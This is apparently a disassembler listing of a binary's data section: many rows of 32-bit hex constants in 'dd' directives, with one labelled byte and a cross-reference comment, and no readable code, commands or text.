dd 932430F8h, 4E2FDEDCh, 56F69A19h, 40D8409Fh, 0F2098352h
dd 7B462EB6h, 0AF6DA79Ah, 76D0E440h, 23390255h, 57DD8B7Eh
dd 1BA27243h, 84B05F03h, 0C9B8E4A9h, 530E1E00h, 0C8C5B238h
dd 0F3B7240Fh, 0E86009DEh, 9979C090h, 9E02A40Ah, 926EBF9h
dd 61242D10h, 203928B9h, 24970991h, 0AC5784B3h, 0C7182440h
dd 0CD6BB16Ah, 1DADC036h, 0E50F8AD8h, 44BF3BACh, 0F9E80C9Bh
dd 30A6E4Ah, 0ED21F1AAh, 9273E0B4h, 491CB8EBh, 9B4A9DFEh
dd 0F6578057h, 49C426A0h, 8A4D9564h, 0B190A1BCh, 6D20C290h
dd 9B584E2Ch, 239802Fh, 90FED821h, 3D6997Eh, 7F34C727h
dd 2F6B49C1h, 69A56A48h, 0D853F8FBh, 14218AFh, 5BEE9F71h
dd 44B9CF3Fh, 586BB839h, 6AE0C017h, 98436E9h, 8D0FC25Dh
dd 0E998D192h, 35043DE4h, 5E213E41h, 523483BDh, 0D16FA7h
dd 0EB93C8D2h, 9BFC26Ah
dd 507BC1F9h, 69917178h, 0B6181AD1h, 77C81602h, 8251EDACh
dd 9157DDAh, 0F1109871h, 0D3AD1CFDh, 6156E807h, 8A53F74Dh
dd 0ECFCAA95h, 335B4D18h, 0E129FCBDh, 0B6C4E802h, 401571B8h
dd 8020F5EBh, 0B7B7C32Bh, 261011Ah, 0C6E2BF66h, 6CC58B5Eh
dd 0ACECBCA9h, 0C5B4F400h, 77F541DAh, 80EDB1D3h, 0DD3E455Ah
dd 0AF01DE55h, 0AC8C1C9Fh, 60100DE9h, 890001E1h, 0BDDC0C76h
dd 0DBFB08Fh, 28E93CD8h, 0B9D52925h, 0F2EEF0h, 8B9EA873h
dd 1AEBBEC0h, 0E72CE425h, 6716E4B8h, 0C78DE4B0h, 0DD20B585h
dd 7378471Bh, 15D17E91h, 7366C919h, 217D1FE4h, 0AFAD7200h
dd 6EA49F4h, 2E8A1347h, 1E97C6D2h, 291044AFh, 0F21DB526h
dd 808CC6A5h, 0B3ED33FCh, 85290795h, 417239BDh, 4D5CC549h
dd 8C15B894h, 52B11631h, 2F411A71h, 90022649h, 9DC5076h
dd 0C40B3646h, 4931E604h, 797AE9h, 0E6362BBCh, 0BB75D45Fh
dd 2622513Dh, 1DED064h, 268DCECAh, 0C99D292Fh, 0FAC79233h
dd 9B8063DBh, 0F5F6D2AFh, 80F98601h, 31F18D29h, 7509C591h
dd 62537803h, 0AC8C51DDh, 1B2801ABh, 0D84DE307h, 0B04FDF7h
dd 820F16C8h, 0FA601988h, 0C3AA01CBh, 85895352h, 9EAC625h
dd 1811B51Dh, 35B0E580h, 0F16DCE6h, 0F8880C87h, 0E80D5245h
dd 0E3056D16h, 301BB25Ch, 3D002E8Fh, 0A0A99707h, 528D0953h
dd 5F2589C1h, 0FE6181E2h, 211F24FBh, 0B7C17BC9h, 1879887Fh
dd 6619F30Bh, 0C4278564h, 2AAB601Ah, 7334092Bh, 0A28472AAh
dd 81664005h, 0CB602CDFh, 6A66F2BEh, 0C7F75058h, 0F47038B0h
dd 0B63B7E53h, 14467C71h, 0B589B704h, 4953E259h, 4896BC45h
dd 0D9043309h, 0CC3B63F9h, 92F6D7E3h, 27014778h, 0C7AAB656h
dd 9E676A81h, 0AB28A8A0h, 0FFF1C001h, 8B0F35CBh, 6A8203Bh
dd 0B4078E1Bh, 0F9129E67h, 0A3020855h, 68E84C24h, 0B62C595Ch
dd 20534BA3h, 0E03F7371h, 0C903A1E6h, 0B302634Eh, 0F8C5250h
dd 0AFBE6605h, 0A7CF557Ch, 0B00BB6BCh, 64C4F5FCh, 6990062h
dd 26EEF067h, 6400540Ah, 92D0C044h, 149E621Ah, 0E851BD29h
dd 0FD9589C1h, 60084008h, 212DB501h, 0D6BF3A0Fh, 0F961658Fh
dd 79AD659h, 82263681h, 0DDC220E6h, 0CC680141h, 7DC71FD2h
dd 0BEB7405Bh, 37C71F1Ah, 3E6CB6B6h, 0E92340B1h, 9038485Bh
dd 16F0AB2Eh, 0DB15C554h, 0A5814172h, 0B1AB70Ch, 0D9C011F3h
dd 8B0B7D0Dh, 0D305559Dh, 1FE0D0C3h, 82CA7638h, 25B8FA96h
dd 5BCE5858h, 60847330h, 0AFD7705Ah, 0D87DF1D0h, 613E2DF5h
dd 5F9277A6h, 0F178AE93h, 0F6A11C16h, 0FA7C00BAh, 4A68BD83h
dd 4D4594B6h, 38EC32F9h, 0E8DDA300h, 0D0FA7EB0h, 8D0F2E8Ch
dd 0C8E944BFh, 3A00804Fh, 0E3A1ED3Ch, 0C2842Dh, 27654EF3h
dd 6C14CB40h, 1169117h, 97D9A480h, 3DACFDE9h, 0A3B435B0h
dd 0B53104A5h, 64AA055Dh, 81527EFh, 2810F86h, 0F08B240Dh
dd 9EF12059h, 1D4676E3h, 0B1646F00h, 0FBF5BD72h, 33137E00h
dd 0B4BA2BBEh, 6874B622h, 0BFD5804Dh, 1420F6D7h, 0D46B2300h
dd 0CC09F971h, 0A3AF0B12h, 59625E8Ah, 22803BB7h, 0E4376F0Eh
dd 33150BEBh, 61641ADCh, 0F205145h, 8B22840Ch, 64429506h
dd 0D04B73D1h, 447490BEh, 0E700A710h, 0BB54DF48h, 1611E256h
dd 91955782h, 4C830F1Bh, 5E4DF1B7h, 5C304E98h, 2FC542E4h
dd 0C861A2D8h, 0F55F000Fh, 0DEE93061h, 0C59529FBh, 7024215Bh
dd 57CF4201h, 48F098B8h, 0B5CB007Fh, 0D7E21451h, 4F4F2183h
dd 10AD9414h, 0B61306A1h, 0E68AC412h, 649AE0C8h, 1C2B1E32h
dd 0C4D25358h, 0B83EFD99h, 65FF090Bh, 0B9E4FC1Eh, 1B4E04BFh
dd 0BCC38B05h, 74054EBAh, 0F6278A0Fh, 0D040E88Bh, 61A007Eh
dd 7B3D7AA2h, 84015930h, 0EFD5DDBEh, 9D34A3C5h, 3C5F812Eh
dd 0AEDB5F76h, 9133D880h, 0ABA06293h, 14602985h, 2B61D7ABh
dd 4B61F9D8h, 4041ED9h, 1E0245DDh, 9D059396h, 0BC10204Bh
dd 9D5D0179h, 0F76359D9h, 6052EEh, 9FF66CA3h, 7F04421Dh
dd 0F0EAAFA0h, 605A2B25h, 95935E7Ch, 6B8B31C1h, 0F0A9AA25h
dd 23032ED3h, 69C12618h, 401D602h, 0ED697F59h, 89AE4014h
dd 2760B59Dh, 0ED850944h, 246A912Fh, 8FE60377h, 70A2F835h
dd 0D270515Bh, 0E00D05FBh, 1685897Fh, 8201875Eh, 0A25C064Dh
dd 0DA17C942h, 76294506h, 30D2E0A2h, 253726BFh, 79892AF3h
dd 592D2466h, 0D5C696Dh, 0A26AD86Bh, 3E7DE470h, 0CE041514h
dd 9440B4B1h, 23B53A79h, 0C00C1C1Dh, 8DEE39D6h, 0FA16E9C6h
dd 0B7E352E1h, 2FEF8140h, 0EECA2E23h, 398E16B7h, 0E2F80156h
dd 207C5752h, 0AB5CE480h, 690004A4h, 0D026640Eh, 247A7D18h
dd 285E9A6Eh, 28D1B396h, 0E29209Bh, 388D585Ch, 2D7A41EDh
dd 0F66A2B63h, 0D27A007Fh, 55776713h, 0CB489080h, 0F5B508D6h
dd 0A3492809h, 966EB707h, 6E7B07C9h, 30BF001Dh, 0C053D65Dh
dd 38FEA209h, 0E88291BEh, 65190BCEh, 0E8620ABEh, 96D63DD0h
dd 0A8A37B17h, 93FD832h, 424B3074h, 401E5605h, 2B4F4DC9h
dd 504BDB07h, 0C40C784h, 43D7863h, 436134E1h, 360B273h
dd 0B095CFB9h, 8EA5F005h, 57DC2D5Eh, 0C2970591h, 0E7628B4Fh
dd 6DC852Ch, 952954CCh, 2053C989h, 0B2B5ADh, 4DE5F59Fh
dd 92687433h, 0DEC0B068h, 2C5BA0BEh, 38EFC32Bh, 88F03D45h
dd 29E98E27h, 0A10EF712h, 36A4A10Bh, 8BF600C7h, 0B8ACBFC0h
dd 0ABB4CC7Fh, 3E87C4ADh, 0A883FFDCh, 0FB333A91h, 717C64B1h
dd 0BF61013Ch, 69B7D839h, 4AE45E5Ch, 405328D2h, 4C0137B1h
dd 6E9AA495h, 1B11D01Dh, 0B0D89380h, 0CE0B838Eh, 842979A4h
dd 51051A13h, 0CEAAA35Fh, 4FE91232h, 760B45E8h, 2A33CB0h
dd 0D319E107h, 2C76BECAh, 50671B7Dh, 881658BFh, 46643A9Fh
dd 76F8A582h, 0D101DE01h, 6D6E9796h, 0E6C455BAh, 8A6002FCh
dd 0F9B503F7h, 0BF8BD256h, 1F6C4C6h, 717BDC22h, 2F61CAF6h
dd 1EBD24C1h, 0C1B85829h, 0A0CCF700h, 70D3C75Ch, 20554AA8h
dd 4F810DDBh, 5461BF09h, 0BB7915h, 6DB2103Ah, 0EC1E3516h
dd 8A40FE92h, 0F2FD2E4Fh, 841B4960h, 5EA37B0Bh, 55511184h
dd 95ABC72h, 2B336F8Ah, 0DE3843C6h, 462F1689h, 1CB33AC8h
dd 40BF2DF4h, 0E28BD511h, 0EE4E6834h, 7129E9C9h, 178F01Ch
dd 8D89864Ah, 25452CB5h, 700E7B5Eh, 98FA4C78h, 2B60C603h
dd 2237D95h, 3047D8A7h, 0D2432D4Fh, 5175A700h, 7DBAC554h
dd 5E533ED4h, 43B1AACh, 91663C38h, 7D8D9DDCh, 0ECF5415Bh
dd 2B4BE9FEh, 0DB2AD4F1h, 320B8000h, 0E0C839D8h, 4F132F7Ah
dd 20051C4h, 55AA2C3Fh, 0F8AD91C5h, 96A0E63Dh, 7465409Fh
dd 5A00D9FCh, 20587C7Eh, 1FC891E6h, 8138F5E8h, 9D01CF41h
dd 5FAD24FDh, 16415996h, 8FCFE1Bh, 0AACB008Eh, 4E4BB99Ah
dd 1D58A68Dh, 0F3ED075Ah, 13500247h, 90705521h, 6EC14F1Eh
dd 0D3E51628h, 82B72AC4h, 22A6C800h, 134418Bh, 53B26600h
dd 0F978DF7Ch, 322404F2h, 0E691CBEBh, 4B16E04Bh, 0DFA01CDh
dd 71FFB7E9h, 66860B2h, 0FD87858Ah, 448CEC56h, 0AD1AC457h
dd 905F0015h, 1DC7BF50h, 0E53F2E41h, 50716CF3h, 86DC7D0h
dd 2C0D9529h, 820F4A31h, 8BC0B76Ch, 3DBD89FBh, 0BB9B4DA9h
dd 0BC6F4D70h, 0FD220F18h, 0EBC1B15Eh, 70E0EDD5h, 255BCDADh
dd 9400137Fh, 4B423A86h, 0F912BAB9h, 533062CCh, 23FC56h
dd 78D04613h, 0B6376160h, 890CD901h, 0A24753ABh, 7908058h
dd 0E28BF66h, 0B580C550h
dd 0F452DD7Ah, 0DE4E35BEh, 0F99006D1h, 1CECE76Ch, 402E008Ch
dd 77B9BE48h, 0A55858E7h, 0A1FBC0CDh, 162BD21h, 0DA249A97h
dd 0E433D00Ah, 6C9D2389h, 0D6B5BF4Eh, 0F0B0FA00h, 0FE7F531h
dd 8B8C8866h, 2046CD16h, 162DCED9h, 5E269AF5h, 6007DC5Eh
dd 0F117660Ch, 0BF464D0h, 9A52DBDh, 615C49A9h, 2FE100DCh
dd 8DEB9C8Bh, 8211BD01h, 1E750AE9h, 4210174Fh, 9765BE5Ch
dd 890277DBh, 27218D95h, 0A57198BDh, 4F397925h, 0C101FAB8h
dd 55E96B26h, 0A820F382h, 601A4061h, 0CAB7BE04h, 0BBB23197h
dd 2F10D00h, 0ABA1A5A9h, 0AD3C615Bh, 5BC08A2Dh, 60822779h
dd 0ED139910h, 4280D35Eh, 0FA9815CEh, 6A5C2A7Fh, 60FF1D35h
dd 83718D1Bh, 416877F8h, 12A2AD23h, 0B837759Bh, 69021F1Fh
dd 0DA8FEA41h, 0E7734AAEh, 0E8BBB344h, 9FC0C96h, 72FE9AB1h
dd 8A93487h, 549216BBh, 880CB5C8h, 0BC147E9h, 3488F781h
dd 35F574E4h, 0A33285C7h, 316B7D74h, 70795B0Bh, 0F10ACA37h
dd 300C2241h, 310C114Eh, 8DB32D95h, 514BEDA6h, 8A656337h
dd 0FB5F1909h, 8435AFE5h, 0BC02A207h, 7AB1D8D5h, 52B81D7Dh
dd 11018FFAh, 38EC5B05h, 7A6C12E5h, 0F0F34789h, 77CD00BFh
dd 4A6B691Bh, 0DF01079Fh, 0D4B1A017h, 0ACFB30Ah, 8BD1BD29h
dd 9439C6ADh, 0C69DD438h, 36CD0444h, 0B303EDE9h, 3216B2BBh
dd 102D88D4h, 16CD99A6h, 1A979D0h, 5FA36219h, 0BC183DB0h
dd 0F9A600E1h, 565F9860h, 0C909BD1Eh, 5E9DB533h, 49231E4Dh
dd 67E08A1h, 4D7127BDh, 0F32C1CAh, 0CA8F304Eh, 20B4FCF0h
dd 49010526h, 0BA6DF698h, 0ED908C2Eh, 0A64E1A42h, 29B4E061h
dd 0EB79558Dh, 73A69700h, 0B6BD7103h, 3F812756h, 0E40CDF81h
dd 13B458FCh, 7358FB25h, 37F654F0h, 0C7D82B29h, 0F4181BD1h
dd 61DFFB00h, 0D8111874h, 8036B993h, 9A623E90h, 63008C01h
dd 82716FF8h, 9FED7F7h, 596A70A5h, 0D561B9F4h, 0CFEC967Ah
dd 5ED0003Ch, 932E24EEh, 591307BFh, 3B8D7706h, 344B302Ch
dd 812AC139h, 465D6D35h, 0D5B64BFFh, 1535A9A0h, 50BF570Eh
dd 5E7362ACh, 434CDAF9h, 0ACF4495Ch, 2BBA3EA3h, 609F550Ch
dd 0B08DACAh, 27034585h, 30AA9352h, 3D7BD5Dh, 0BF692764h
dd 0FACCD1D8h, 598D8927h, 0F324B973h, 31579729h, 0E8D69018h
dd 0C2127463h, 7D16E283h, 87094795h, 1B462AE1h, 70E6FB25h
dd 0BE05C0F2h, 58ECF7E1h, 1723A23Ah, 38F67F07h, 691BF537h
dd 29129145h, 0B94764D6h, 608CEF29h, 76E3D48Dh, 20F2F649h
dd 0C1832F1Fh, 45387698h, 53295424h, 12BF2A00h, 26D81A10h
dd 13611811h, 0C14EBCE9h, 1B09B523h, 25DA5F02h, 0FBBE3269h
dd 0C80F79C8h, 0DF093DB6h, 0F1BC8E33h, 9620015Ah, 0D0DA68D0h
dd 0EBF0738Ah, 0D2E72116h, 906F54C5h, 0AC7E0A0Bh, 0B35B4A64h
dd 6A4B41CEh, 0B98A4AC4h, 0F0E6E64Bh, 54C787h, 0EFB7D9A3h
dd 2B64D857h, 0F0A726F9h, 0D90C09h, 0FA9F1D0Ah, 0A99D89C7h
dd 60692E41h, 0B14F2D88h, 0EF020374h, 0BB55E828h, 4A473CE2h
dd 0AE6014E4h, 0ED97C08Bh, 9DC9C113h, 4C7F6D2Dh, 79FC1E32h
dd 1F45B504h, 0B4C21216h, 0CF0DFD3Fh, 72FC710Bh, 7CB8FE79h
dd 96978E02h, 0D9F08B0Dh, 352EE65Fh, 0C02DCD97h, 32B33517h
dd 46538B9Dh, 71DAC55Bh, 4A5BB71Ch, 20D91CC4h, 1E19F041h
dd 0FEF89003h, 52A8529h, 0F8B40F0Ah, 4DE8C2Ch, 0E9FACF18h
dd 0A82F400Dh, 153EB7Ah, 0A2B48B87h, 34B64A10h, 0B9FF535h
dd 70E8732Fh, 2E758848h, 55BD0912h, 0B75E86B0h, 0DB5D9490h
dd 5AC9F500h, 44F1570Eh, 0D8A400FFh, 9C172B6Bh, 150458B7h
dd 458D0942h, 0BD5F14E0h, 211CF305h, 1D75ACh, 17B8F781h
dd 455CB30h, 0FF0D6DC6h, 1006E7Ah, 0D05A5310h, 1A9074ACh
dd 0E98C0F2Dh, 0FC615193h, 10195C40h, 0E360EC5Fh, 20C24131h
dd 4196C881h, 61706A02h, 70958589h, 6E2AEF6Fh, 2A2300DCh
dd 8992B9B3h, 8B4851E1h, 8C2DD203h, 15066009h, 10B06755h
dd 86820970h, 2084CA33h, 0B90025B5h, 600F9BDEh, 0B649E961h
dd 0BD330559h, 8BA74421h, 0B8FBA9C1h, 376A0B6Eh, 0EF46F679h
dd 18F1DB80h, 18F15D91h, 0EC1C0518h, 1AED7D42h, 0DC457CCBh
dd 99717400h, 784EBC2Ch, 152E250h, 0E9AFC1BFh, 2F310F2Eh
dd 585A2D04h, 90096BB0h, 4BE7963Bh, 150276B7h, 0D697A1D9h
dd 8777405Eh, 0D601F07Fh, 2C9CD08h, 0BF40A211h, 70BDBFC5h
dd 394F5641h, 47D164F0h, 94FD4059h, 2965261Bh, 2F81B541h
dd 6D102A6Dh, 0B36B9260h, 49B5D30Eh, 0BD2AE3Dh, 256C2619h
dd 1571AA91h, 54071418h, 0DFBA40BFh, 0B6A8D5FAh, 62B4611Ch
dd 5FB8D6E8h, 4EBFD15Ch, 0DE0CE4C9h, 5A93B052h, 0F8D3362Dh
dd 0F1C5920h, 7503BF66h, 0BC7AA992h, 0F511635h, 2D77898Ah
dd 844E023Ch, 0D11954B5h, 0D2E2A7E6h, 19FE479h, 462585CBh
dd 0D460B4C1h, 0D62EC600h, 0AF936CEEh, 0BEA1133Ah, 0DB309A2h
dd 73E8E456h, 2A98267Eh, 68CF017Ah, 68092FE9h, 6077B1D2h
dd 0A8163D09h, 0E7E100CEh, 63952812h, 2953F53h, 0D1F11055h
dd 0A112E4BFh, 0B804295Ah, 48B41DB9h, 89DB49E2h, 42198D04h
dd 0F23859Dh, 0B1EDB584h, 47B13C8Ch, 0C612A039h, 4EFCFA20h
dd 0D3211389h, 294D8DB4h, 2A4BCB8h, 0BD83FB9Fh, 0A8D15E81h
dd 0FC503111h, 0E913408Dh, 376D6769h, 0B61081F3h, 965538BCh
dd 4CB81556h, 675E8184h, 1A2C8649h, 0B12C5C77h, 528C14FCh
dd 8A703101h, 545DE685h, 0DB41AACFh, 41A59D2Ah, 685696F2h
dd 1D6E5FA4h, 2AF7FF00h, 7AEFC43Fh, 9ABCF816h, 1880E5B8h
dd 25E9C30h, 1FA02039h, 0B8C0159Eh, 9F975DA3h, 89F91CF4h
dd 656AE58Dh, 7C1AC279h, 0DC957645h, 0BE02840Ah, 0D909C533h
dd 79A27B20h, 172181Dh, 6266718Bh, 0D5DC3FF2h, 27203AA7h
dd 415853h, 0DD46364Bh, 6C61676Dh, 0C3754C00h, 98E1694h
dd 5090019Bh, 3A0580BEh, 0F681DC28h, 7ABBB017h, 7FB48A53h
dd 16D85DE9h, 80EF9B4Ah, 75A2E360h, 200690B9h, 4C971989h
dd 2D951323h, 229E327h, 0E64411C6h, 53375770h, 0F162DF04h
dd 0BD1520F8h, 134EBDC5h, 13776F9Bh, 0B10B5055h, 89D90773h
dd 0EB53A508h, 0FF181951h, 0A91FF903h, 0C48BC5F8h, 68B8D9ADh
dd 0F9BE5102h, 78640FEEh, 0DC49B6DAh, 5CD2CD00h, 0F2827AD9h
dd 0B828091Fh, 72D1830Fh, 6B0E9602h, 401D5E6Dh, 4503DA8Fh
dd 0B7AB8D00h, 9BC47B21h, 200AB4EAh, 16D14AFCh, 81259E0Ah
dd 760D89D6h, 0ECD3388Ah, 0A6DB8BC7h, 8100385Ch, 596854E7h
dd 0A6BA9F3Ch, 360766Dh, 2A1E90Fh, 9AF91047h, 315AE836h
dd 92245201h, 38EEEA06h, 2120D472h, 0F24E5F77h, 0B0F81B31h
dd 0BEB77FC2h, 274F2A1Fh, 61FC8EC9h, 1EDBD23h, 0D44BBE00h
dd 927AF924h, 3F7810Eh, 0FA720C09h, 0E07ECD71h, 0B9928945h
dd 0C4CA9325h, 0DB7200F9h, 0A5BE9C90h, 11E44330h, 46D92000h
dd 295F51CEh, 5CC92CEFh, 8024AD97h, 9D3141BEh, 0BF2722A5h
dd 0C5AC6A4Dh, 0C480E09h, 3F5480CEh, 0B55BB2D9h, 63EFF5EFh
dd 805AA3BFh, 195D51DCh, 0B4601B4Dh, 815210A9h, 893902C2h
dd 615F119Ch, 62D9D242h, 9525803Ch, 0F9076FDEh, 9B4007D7h
dd 0A00E43A6h, 0B88C6892h, 93F0C793h, 5C9201AAh, 0F2B8E199h
dd 2C353CEDh, 0B1AAA4D9h, 0EE0F88Dh, 2F4770F8h, 0DBC44D39h
dd 25C7CE1Eh, 6EA3F341h, 0DA214C21h, 78B80C2Dh, 0E3756C05h
dd 0BCC58A1h, 0B147F7Eh
dd 7C9921E5h, 881C2952h, 0ED2501A4h, 0E919E010h, 183961DBh
dd 9A039674h, 0F068B2B1h, 4FC6F92h, 0C1831CB2h, 2D3D6FBEh
dd 34E0A403h, 0F17233Fh, 61ABE7A6h, 35CCA62h, 0F21600DCh
dd 0CE1E094Bh, 8D5B5399h, 20DED022h, 24C471BEh, 0A554625Ch
dd 5A810ADAh, 3B9D8953h, 5B5EE944h, 66C0C8DBh, 0D5470CEFh
dd 1926107h, 4DB92B54h, 6D4FC016h, 9E07AED1h, 0E361D49Bh
dd 0D1B6F585h, 0A147572Dh, 0B96214C4h, 3129B8DFh, 8656822Ch
dd 0C06BCD4Bh, 67DDF04Ch, 65209AB8h, 60BF0524h, 0A84B57D8h
dd 1B410461h, 0FB276750h, 87807ED1h, 0BAC08EAFh, 6B3300AAh
dd 0A6737084h, 391796ABh, 0C00058F9h, 61EDC0EAh, 90854BC7h
dd 39CF3FA8h, 86E1F5Fh, 77A8DB1Eh, 0B3FA25A2h, 3530CDF3h
dd 8066DB2Ah, 11DBD8Ah, 3191208Dh, 652D85E6h, 0B3564E21h
dd 0F042D11h, 640E5303h, 61CB44C2h, 231D6BAEh, 2880118h
dd 4092A19Ah, 7BA9D7ABh, 7C6E905Fh, 1B250D00h, 0E3083CE7h
dd 0D19E8A2Fh, 0C141005Ch, 3EE04623h, 0C89BB20Fh, 0E00D4E42h
dd 0C95AC2D5h, 99E95C91h, 0D63B6014h, 0C08DBD13h, 7DB52B6Ah
dd 0B789CC94h, 103ADCF3h, 3E884B0Bh, 6F12008Ch, 770545CBh
dd 0C102F563h, 2E02948Fh, 0AE90F51Ah, 4A00E2F9h, 0A5D1D2E0h
dd 28A8E19h, 89F39B5Bh, 0B47A758Dh, 0B2029F7h, 0C4599509h
dd 56195AC8h, 0AD2B5308h, 1A22B831h, 0DE036415h, 0A7BC2778h
dd 0C13D4EDCh, 76330FF0h, 0E513F0E4h, 7495009Bh, 0BF66892Ch
dd 603D3957h, 4FA1248Bh, 0A56AC0ADh, 5AD48214h, 82DF804Eh
dd 4A21DA25h, 59BA2061h, 6400FC31h, 3BA0C16Ch, 5CEF056Dh
dd 8727C0F5h, 0D93099E6h, 0F6F45515h, 0CD6DE3FFh, 0C801B6B8h
dd 0A89A1317h, 0C188FCBFh, 0B9131BEDh, 0F22E787h, 671EDE82h
dd 2E31F8D5h, 21021999h, 35D241h, 35C46EBBh, 0AF1634BEh
dd 0C5DBE956h, 913BE480h, 0F00237CBh, 0C1D0A59Eh, 3736AB8Bh
dd 7113802Eh, 6DDC97Eh, 46E8E316h, 830976E3h, 5F8401E1h
dd 0E216F325h, 8B48301Dh, 8701B700h, 0DE77EA99h, 894CF3D9h
dd 635A9FCh, 824C0015h, 617C6CF2h, 0A96E605Fh, 85342500h
dd 84A50AF1h, 0ADBD2917h, 0DB0AB9B2h, 6BF047C0h, 760037B7h
dd 6CB7907Ch, 203F984Ah, 0FA822DF5h, 371A29F7h, 499384FBh
dd 0D86EC1CFh, 0C950AD5Dh, 3A2051BCh, 5A2B404Dh, 25CA8014h
dd 33726AAAh, 604CB4F6h, 0A39D2FE3h, 22CFF853h, 8DE9A10Bh
dd 0EBB88D80h, 8B179BCEh, 64051AAh, 1EAE714Dh, 0CA870191h
dd 0EA22DB5Bh, 7BF289E1h, 8C50702Ah, 0D7618009h, 606438h
dd 25EEC172h
db 7Eh, 15h, 0C8h
byte_544547 db 8Ch ; DATA XREF: ___:off_44720Co
dd 8EB91838h, 2223CCE8h, 4CCF5C28h, 44B4BEEDh, 0F1E7C157h
dd 895E0217h, 0B70B5ABCh, 99947710h, 49912900h, 8E97B60Dh
dd 89F03AF8h, 837EEB8Eh, 3CDF8B46h, 0BF0133B1h, 5EC71947h
dd 9752DEF7h, 0D542DC4Fh, 8C0257E1h, 0B29AF084h, 5BC029F7h
dd 39417091h, 3056F760h, 0DA0ADA89h, 0B2FCC0AAh, 1BE04F4h
dd 0DD1D25BDh, 4E442229h, 0A08918DBh, 9D891802h, 0E3B8AAF7h
dd 51746D6h, 9D99303Bh, 0B69D905h, 8BDDD988h, 4A85183Bh
dd 3380EFDEh, 0E9900E1Dh, 0A168DC24h, 29DBEAA7h, 0F1FF13Ah
dd 84E4B291h, 8015F8DBh, 87EB6E8Dh, 0C1634A53h, 74456A6Dh
dd 6BAB57Bh, 586807AFh, 0EBC0A865h, 1AB57BE0h, 0A8D18B81h
dd 9C4F8209h, 0F48CD345h, 619C0089h, 0BBAB919Bh, 58BF55FFh
dd 9C608BD2h, 25F7F94Ah, 55702FFBh, 0F37101EEh, 0C7F83FA7h
dd 0D2CF2985h, 27809FDBh, 611EB50Ah, 6C3795h, 950BE241h
dd 0AE9F19C5h, 1E31E8DFh, 9D6107EBh, 305B0BE9h, 92930D8h
dd 506CE54Ah, 78C96E6Dh, 3741B52Bh, 66601075h, 0A8D8278Ch
dd 4035B004h, 0B5FF016Ah, 3F68979Dh, 0B041A785h, 0C27ED0F1h
dd 8B000F8Fh, 31EFC1FEh, 43C680Ch, 1EA2B920h, 0D925702h
dd 50FF77A0h, 0BFE91A95h, 85C6F421h, 13C382Dh, 30DF6856h
dd 7E88A9C5h, 5DD02141h, 0E50EA10Bh, 8D069725h, 5605347Ch
dd 6112006Eh, 6E0C1C3h, 628BA4Ch, 0EA81F011h, 0EBA9083h
dd 958914C2h, 0FF972737h, 6F4E5C38h, 5264E840h, 0EE7090FFh
dd 95A5BA89h, 2B586230h, 0F01AC264h, 81041CA8h, 825A4D38h
dd 0C02E1283h, 33C50B7h, 3A813BD0h, 84194532h, 2D9C025Ch
dd 0E9131010h, 8B8846D9h, 0DD20FEC8h, 40031915h, 88064F3Ch
dd 1E22E9C2h, 12657D8Bh, 58F4655h, 1CC35BF8h, 1BD1030Ch
dd 4D092920h, 123808DBh, 28644075h, 0B56D058Fh, 0E1F1E462h
dd 0EC245C2Ch, 0A9811002h, 0B5148CB0h, 0C0330259h, 5DBD83C3h
dd 0E129234Bh, 4760FD24h, 23A7D268h, 2CCAD49Ah, 150C0129h
dd 9DD3EB16h, 3809F02h, 207CFE29h, 0E6F617BEh, 0FBAFE0A3h
dd 4D9FC0E4h, 7E06C092h, 3538AD70h, 290D2C31h, 11D5588h
dd 0DCB738BEh, 0F1F08867h, 9758C13h, 10E93512h, 61501974h
dd 38B88A53h, 0E0D13F04h, 0F5821479h, 0E6E9F09Dh, 585BD301h
dd 82172258h, 0DF23201Eh, 0DEA426E6h, 5271001h, 11B50B91h
dd 0EE77C42Bh, 0D600576Eh, 7C91323Ah, 7F272F95h, 91C6C3E8h
dd 7B2C85BDh, 8662F7Ah, 33D943Dh, 0AFEF5FE7h, 0E27792A6h
dd 0B7E1F9CCh, 0FA22A56Ch, 0D7830B74h, 13C885B9h, 12F41E1h
dd 0A00A59AAh, 0EB99AB0Dh, 0DCA9121Ah, 0AC73DC55h, 1A80F72Ch
dd 447BB009h, 0EFF244h, 0D18ABC08h, 0E0CEE74Dh, 5F3D3601h
dd 0D9CCBE65h, 0CB71BC35h, 74B8C27Dh, 8DFCB624h, 32FEE101h
dd 9E65ABE8h, 6289B9E8h, 181164B4h, 39323DDDh, 0D735A300h
dd 59C5CDACh, 78E8C718h, 0CC68167h, 49E20341h, 6B92196Ah
dd 12DCB8BEh, 0AFE519CAh, 0C4F9A125h, 51C29C4h, 11DF38E8h
dd 9AC548Ah, 0ADF8659Dh, 0DDBD0112h, 0F731CFEDh, 2A22FDCAh
dd 5800E67Ah, 750DCE4Ah, 0DC05E5FAh, 6DEE804h, 0CE89CB9h
dd 83B1F701h, 8AAA5B9Bh, 0E80BC42Eh, 81B0621Dh, 50600115h
dd 615AC85Fh, 75A4E834h, 859F60AFh, 49822009h, 41271EBDh
dd 2AF43CB1h, 2195C8h, 40AEDBA0h, 2F77F1C8h, 0F6704117h
dd 0B58697F1h, 8F58E85Fh, 0DC4BB4h, 428D9235h, 0ED918514h
dd 88C8E46Eh, 50DF60Ah, 990CE87Bh, 4B315B68h, 402D558h
dd 0CEA520BEh, 2407F55Ch, 8FA2ED6Fh, 1D756E40h, 74260950h
dd 166AE827h, 0E04F6F7Eh, 5F24E592h, 0CA50382h, 8F12ECB5h
dd 0E83CC7C0h, 0C2CC5902h, 51810FEBh, 20DB3FAFh, 0A76B04B8h
dd 3722700h, 8F515E1Dh, 47280FA4h, 902235A1h, 6C406D0Eh
dd 59812701h, 0A049C09Fh, 0E8F116A0h, 609D9A64h, 6231B5F0h
dd 4712806h, 2FC67009h, 423D1E8Dh, 0BD02200Eh, 0EE8A7B00h
dd 950560E8h, 0C7D0535Bh, 0C8C6006Ah, 6DA8B807h, 60046B44h
dd 93D9D29h, 5D3EEBDh, 442AA501h, 88229166h, 1E19D77h
dd 463AB501h, 0A110E801h, 1A209B90h, 9C5D5581h, 4E45602Eh
dd 0A084DACh, 1604F6E8h, 9834BC29h, 822BF138h, 9F030E59h
dd 0E891216Dh, 280C497Eh, 4EFA3199h, 0C0739ED5h, 896B8677h
dd 4098BC48h, 8169C1C7h, 0CB929300h, 99DD5ABEh, 0F6341880h
dd 6359ED7h, 40F8EF97h, 0CC8A7923h, 0ABB8C54Ah, 0C58D8BC7h
dd 0FAE7E405h, 467E814h, 21C9130Eh, 0DF0E3732h, 0C5617030h
dd 0F92558h, 0A7FEC971h, 0CF3280h, 0FB95F014h, 0B00D75DEh
dd 145B5A8h, 11ED3597h, 73158019h, 487D69B5h, 0B212F541h
